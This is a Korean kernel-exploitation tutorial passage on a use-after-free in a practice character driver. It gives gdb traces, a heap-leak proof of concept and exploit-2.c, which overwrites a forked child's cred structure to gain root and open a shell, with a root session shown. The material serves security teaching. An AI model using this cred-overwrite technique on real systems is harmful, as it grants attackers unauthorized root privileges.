0x7ffc461cd000:	0x0000000000000000	0x0000000000000000
0x7ffc461cd010:	0x0000000000000000	0x0000000000000000
0x7ffc461cd020:	0x00000000004002b0	0x2264b4884eba0d00
0x7ffc461cd030:	0x0000000000000000	0x00000000004002b0
0x7ffc461cd040:	0x00000000006c0018	0x00000000004013bc
0x7ffc461cd050:	0x0000000000000000	0x0000000100000000
0x7ffc461cd060:	0x00007ffc461cd128	0x000000000040105e
0x7ffc461cd070:	0x00000000004002b0	0x7a8d8a3fed0b83fc
(gdb) x/6gx 0x7ffc461cd000
0x7ffc461cd000:	0x0000000000000000	0x0000000000000000
0x7ffc461cd010:	0x0000000000000000	0x0000000000000000
0x7ffc461cd020:	0x00000000004002b0	0x2264b4884eba0d00
(gdb) i r rdi rsi rdx
rdi            0xffff88003a3dc000  -131940418207744
rsi            0x7ffc461cd000      140721484779520
rdx            0x1c                28
(gdb) c
Continuing.

Breakpoint 8, 0xffffffffc01990a7 in ?? ()
(gdb) x/16gx 0xffff88003a3dc000
0xffff88003a3dc000:	0x0000000000000000	0x0000000000000000
0xffff88003a3dc010:	0x0000000000000000	0x000003e800000000
0xffff88003a3dc020:	0x00000000000003e8	0x0000000000000000
0xffff88003a3dc030:	0x0000000000000000	0x0000000000000000
0xffff88003a3dc040:	0x0000003fffffffff	0x0000000000000000
0xffff88003a3dc050:	0x0000000000000000	0xffff880015524c00
0xffff88003a3dc060:	0x0000000000000000	0x0000000000000000
0xffff88003a3dc070:	0x0000000000000000	0xffff8800075db7e0
(gdb) p *(struct cred*)0xffff88003a3dc000
$5 = {usage = {counter = 0}, uid = {val = 0}, gid = {val = 0}, suid = {val = 0}, sgid = {val = 0}, euid = {val = 0}, egid = {val = 0}, fsuid = {val = 1000}, fsgid = {val = 1000}, securebits = 0, cap_inheritable = {
    cap = {0, 0}}, cap_permitted = {cap = {0, 0}}, cap_effective = {cap = {0, 0}}, cap_bset = {cap = {4294967295, 63}}, cap_ambient = {cap = {0, 0}}, jit_keyring = 0 '\000', session_keyring = 0xffff880015524c00, 
  process_keyring = 0x0 <irq_stack_union>, thread_keyring = 0x0 <irq_stack_union>, request_key_auth = 0x0 <irq_stack_union>, security = 0xffff8800075db7e0, user = 0xffff8800263a5200, 
  user_ns = 0xffffffff81c44ae0 <init_user_ns>, group_info = 0xffff88001564b5c0, rcu = {next = 0x0 <irq_stack_union>, func = 0x0 <irq_stack_union>}}
(gdb) c
Continuing.

Exploit code - 2

Proof of Concept

  • 다음과 같은 방식으로도 UAF 취약성을 사용 할 수 있습니다.
    • "Exploit-1"에서는 드라이버 파일을 1개만 열어 exploit에 이용하였습니다.
  • 다음 예제에서는 드라이버 파일을 2개를 열어 UAF취약성을 검증 해보겠습니다.
    • open() 함수를 이용하여 취약성이 존재하는 드라이버 파일을 두번 엽니다.
      • 해당 파일 디스크립터은 fd1, fd2 변수에 저장합니다.
    • ioctl() 함수와 fd1(파일 디스크립터)을 이용하여 cred 구조체의 크기 만큼의 Heap을 할당 받습니다.
    • ioctl() 함수와 fd1(파일 디스크립터)을 이용하여 할당은 메모리를 해제합니다.
    • close() 함수를 이용하여 fd1(파일 디스크립터)을 닫습니다.
    • read() 함수와 fd2(파일 디스크립터)를 이용하여 fd1에 의해 할당 및 해제된 heap 영역의 값을 추출합니다.
PoC2.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include "chardev.h"
  
#define HEAP_SIZE 128

int main()
{
    int fd1,fd2,i,j;
    char info[HEAP_SIZE] = "Hello, Kernel UAF";
 
    if ((fd1 = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    if ((fd2 = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    if (ioctl(fd1, KMALLOC, 168) < 0){
        printf("Error : KMALLOC.\n");
    }

    ioctl(fd1, KFREE);
    if (close(fd1) != 0){
        printf("Cannot close.\n");
    }

    memset(info, 0, HEAP_SIZE);
    read(fd2,info,HEAP_SIZE - 1);

    for (i = 0; i < 8; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", info[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", info[i*16+j] & 0xff);
        printf("\n");
    }

    if (close(fd2) != 0){
        printf("Cannot close.\n");
    }
}

Debug

  • fd1에 저장된 파일 디스크립터를 이용하여 메모리 할당 및 해제 됩니다.
    • kmalloc(), kfree() 함수에 의해 heap 메모리를 할당 받고 해제합니다.
    • heap 메모리의 시작 주소는 0xffff880015525200
Call kmalloc(), kfree()
Breakpoint 1, 0xffffffffc01991c5 in ?? ()
(gdb) i r rdi rsi
rdi            0xa8                168
rsi            0x24000c0           37748928
(gdb) c
Continuing.

Breakpoint 2, 0xffffffffc01991ca in ?? ()
(gdb) i r rax
rax            0xffff880015525200  -131941037616640
(gdb) c
Continuing.

Breakpoint 3, 0xffffffffc019919d in ?? ()
(gdb) i r rdi
rdi            0xffff880015525200  -131941037616640
(gdb) c
Continuing.

Breakpoint 4, 0xffffffffc01991a2 in ?? ()
(gdb) x/i $rip
=> 0xffffffffc01991a2:	xor    eax,eax
(gdb) c
Continuing.
  • fd2에  저장된 파일디스크립터를 이용하여 해제된 메모리(kernel heap)에 저장된 값을 User 영역으로 복사합니다.
    • 이러한 동작이 가능한 이유는 info.buf 변수가 전역 변수이기 때문에 fd1,fd2에서 사용하는 info.buf 변수의 주소가 같기 때문입니다.
UAF
Breakpoint 5, 0xffffffffc0199102 in ?? ()
(gdb) x/i $rip
=> 0xffffffffc0199102:	call   0xffffffff813e09e0 <_copy_to_user>
(gdb) i r rdi rsi
rdi            0x7ffc948ab2e0      140722800603872
rsi            0xffff880015525200  -131941037616640
(gdb) x/16gx 0x7ffc948ab2e0
0x7ffc948ab2e0:	0x0000000000000000	0x0000000000000000
0x7ffc948ab2f0:	0x0000000000000000	0x0000000000000000
0x7ffc948ab300:	0x0000000000000000	0x0000000000000000
0x7ffc948ab310:	0x0000000000000000	0x0000000000000000
0x7ffc948ab320:	0x0000000000000000	0x0000000000000000
0x7ffc948ab330:	0x0000000000000000	0x0000000000000000
0x7ffc948ab340:	0x0000000000000000	0x0000000000000000
0x7ffc948ab350:	0x0000000000000000	0x0000000000000000
(gdb) x/16gx 0xffff880015525200
0xffff880015525200:	0xffff880015524fc0	0x0000000000000000
0xffff880015525210:	0x00000000f0000042	0x0000000000000000
0xffff880015525220:	0x0000000000000000	0x0000000100000000
0xffff880015525230:	0x0000000000000000	0x0000000800000001
0xffff880015525240:	0x0000000100000008	0xffffffff8139e9a0
0xffff880015525250:	0xffff88001309bd56	0x0000000000000000
0xffff880015525260:	0x0000000000000000	0x0000000000000000
0xffff880015525270:	0x0000000100010001	0xffff880015525288
(gdb) c
Continuing.

Breakpoint 6, 0xffffffffc0199107 in ?? ()
(gdb) x/16gx 0x7ffc948ab2e0
0x7ffc948ab2e0:	0xffff880015524fc0	0x0000000000000000
0x7ffc948ab2f0:	0x00000000f0000042	0x0000000000000000
0x7ffc948ab300:	0x0000000000000000	0x0000000100000000
0x7ffc948ab310:	0x0000000000000000	0x0000000800000001
0x7ffc948ab320:	0x0000000100000008	0xffffffff8139e9a0
0x7ffc948ab330:	0xffff88001309bd56	0x0000000000000000
0x7ffc948ab340:	0x0000000000000000	0x0000000000000000
0x7ffc948ab350:	0x0000000100010001	0x00ff880015525288
(gdb) c
Continuing.
  • 다음과 같이 유저 프로그램에서 해제된 커널 heap 영역에 저장된 값을 출력합니다.
Checked for UAF Vulnerabilities
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./PoC-2 
c0 4f 52 15 00 88 ff ff 00 00 00 00 00 00 00 00  | ?OR???
42 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00  | B?
00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00  | 
00 00 00 00 00 00 00 00 01 00 00 00 08 00 00 00  | 
08 00 00 00 01 00 00 00 a0 e9 39 81 ff ff ff ff  |??9?????
56 bd 09 13 00 88 ff ff 00 00 00 00 00 00 00 00  | V?	???
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
01 00 01 00 01 00 00 00 88 52 52 15 00 88 ff 00  | ?RR??
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$

Exploit code

  • 다음과 같이 exploit 코드를 구현할 수 있습니다.
exploit-2.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include "chardev.h"
  
int main()
{
    int fd1,fd2;
 
    if ((fd1 = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    if ((fd2 = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    if (ioctl(fd1, KMALLOC, 168) < 0){
        printf("Error : SET_DATA.\n");
    }

    ioctl(fd1, KFREE);
    if (close(fd1) != 0){
        printf("Cannot close.\n");
    }
  
    int pid = fork();
    printf("PID %d\n",pid);
    if(pid < 0){
        puts("[*] fork error!");
        exit(0);
    }else if(pid == 0){
	char zeros[30] = {0};
	write(fd2, zeros, 28);

	if(getuid() == 0){
		puts("[+] root now.");
		system("/bin/sh");
		exit(0);
	}else{
		printf("UID : %d\n",getuid());
	}
    }else{
	wait(1);
    }

    if (close(fd2) != 0){
        printf("Cannot close.\n");
    }

    return 0;
}
Get root
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./exploit-2 
PID 2940
PID 0
[+] root now.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(lazenca0x0)
# 

References

1 Comment

  1. #define HEAP_SIZE 128
    128이 아닌 168로 변경해야함.
    프로그램 실행 후 출력된 값도 변경 필요